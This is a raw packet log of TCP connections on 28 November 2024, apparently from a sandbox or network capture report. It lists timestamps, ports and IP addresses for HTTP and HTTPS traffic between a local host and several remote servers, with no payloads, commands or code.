Nov 28, 2024 11:05:35.636612892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.636651993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.637547016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.637593985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.637732029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.637778044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.638612032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.641704082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.650192022 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.650212049 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.650295973 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.650325060 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.650593996 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.677088022 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.677113056 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.677184105 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.677212000 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.677251101 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.765520096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.812215090 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.812285900 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.812295914 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.812338114 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.812359095 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.812361002 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.812398911 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.817363024 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.817403078 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.885474920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.936302900 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.936587095 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.936614990 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.936949015 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.937253952 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.937321901 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.937587023 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.940097094 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.940310001 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.940325975 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.941159964 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.941370964 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.941402912 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.941433907 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.941452026 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.941795111 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.941864967 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.941922903 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.941932917 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.942831039 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.943010092 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.943016052 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.943845987 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.943903923 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.944202900 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.944319963 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.944830894 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.944886923 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.944896936 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.945245981 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.945307970 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.945460081 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.945466042 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.979343891 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.994067907 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.994095087 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.994124889 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.996371984 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.001363993 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.001596928 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.001614094 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.002621889 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.002674103 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.003264904 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.003334999 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.003998041 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004034996 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004096031 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004175901 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004230976 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004293919 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004302025 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004306078 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004350901 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004473925 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004484892 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004587889 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004690886 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004723072 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004769087 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004837990 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.004878998 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.004930973 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005084991 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005095005 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005179882 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005189896 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005275965 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005287886 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005364895 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005377054 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005458117 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005469084 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005532980 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.005539894 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.005637884 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:36.005661011 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:36.005671024 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.005700111 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.005803108 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.005809069 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.006680965 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.006704092 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.006824017 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.006989002 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.006995916 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.007107973 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.007693052 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.007699966 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.042543888 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.058159113 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.122551918 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.123174906 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.123200893 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.123620033 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.123626947 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.211870909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.211924076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.211935997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.212070942 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.212090015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.212203979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.212224007 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.212244034 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.213188887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.213200092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.213253021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.213814020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.213876963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.213921070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.214097977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.214888096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.214994907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.215111017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.215895891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.215939045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.216018915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.216073990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.216953993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.217019081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.336927891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.336987972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.337013960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.337033987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.337440014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.337529898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.337549925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.337651968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.338485956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.338557959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.338598967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.339243889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.339287996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.339371920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.339469910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.340312958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.340435982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.340461969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.340483904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.341352940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.341459036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.341489077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.341507912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.342420101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.342504025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.342519045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.342639923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.343452930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.343570948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.343609095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.343736887 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.344496965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.344604969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.344657898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.345580101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.345638037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.345707893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.345804930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.346609116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.346668959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.346740007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.346889019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.347676992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.347726107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.384996891 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385020018 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385077953 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.385091066 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385772943 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385797977 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385859966 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.385876894 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.385998011 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.386142015 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.386225939 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388169050 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388187885 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388247013 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.388254881 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388487101 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388804913 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.388864994 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.388864994 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.389549017 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.389584064 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.389605045 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.389630079 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.393238068 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.393256903 CET	443	49871	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.393305063 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.393323898 CET	49871	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.393889904 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.393929958 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.394399881 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.394624949 CET	49868	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.394642115 CET	443	49868	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.395004034 CET	49872	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.395025969 CET	443	49872	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.395353079 CET	49869	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.395369053 CET	443	49869	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.395950079 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.395967960 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.459897041 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.459918022 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.459971905 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.459989071 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.460719109 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.460766077 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.461536884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.461604118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.461639881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.461675882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.462049007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.462192059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.462203979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.462255955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.462276936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.462500095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.463207960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.463330984 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.463391066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.464303970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.464375973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.464801073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.465305090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.465449095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.465503931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.466357946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.466471910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.467166901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.467418909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.467590094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.467641115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.468502045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.468594074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.468718052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.469525099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.469573975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.469669104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.469806910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.470546961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.470601082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.470653057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.470791101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.471635103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.471730947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.471738100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.471776009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.472781897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.472839117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.473020077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.473414898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.473695040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.473746061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.473828077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.473876953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.474756956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.474805117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.474853992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.475009918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.475811958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.475893974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.475925922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.475964069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.476851940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.476907969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.476921082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.477737904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.477946997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.478008986 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.478034973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.478075027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.478374958 CET	49870	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:36.478396893 CET	443	49870	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:36.478969097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.479027033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.479098082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.479321003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.480035067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.480114937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.480123043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.480614901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.481060982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.481156111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.481205940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.481384039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.482112885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.482172012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.482198000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.482803106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.483289003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.483345985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.483374119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.483414888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.566811085 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.566991091 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.567048073 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.567992926 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.568017006 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.568042994 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.568064928 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.578697920 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.578814983 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.578916073 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.580491066 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:36.580509901 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:36.608819008 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.608870029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.609272957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:36.609344006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:36.609535933 CET	80	49782	185.215.113.206	192.168.2.7
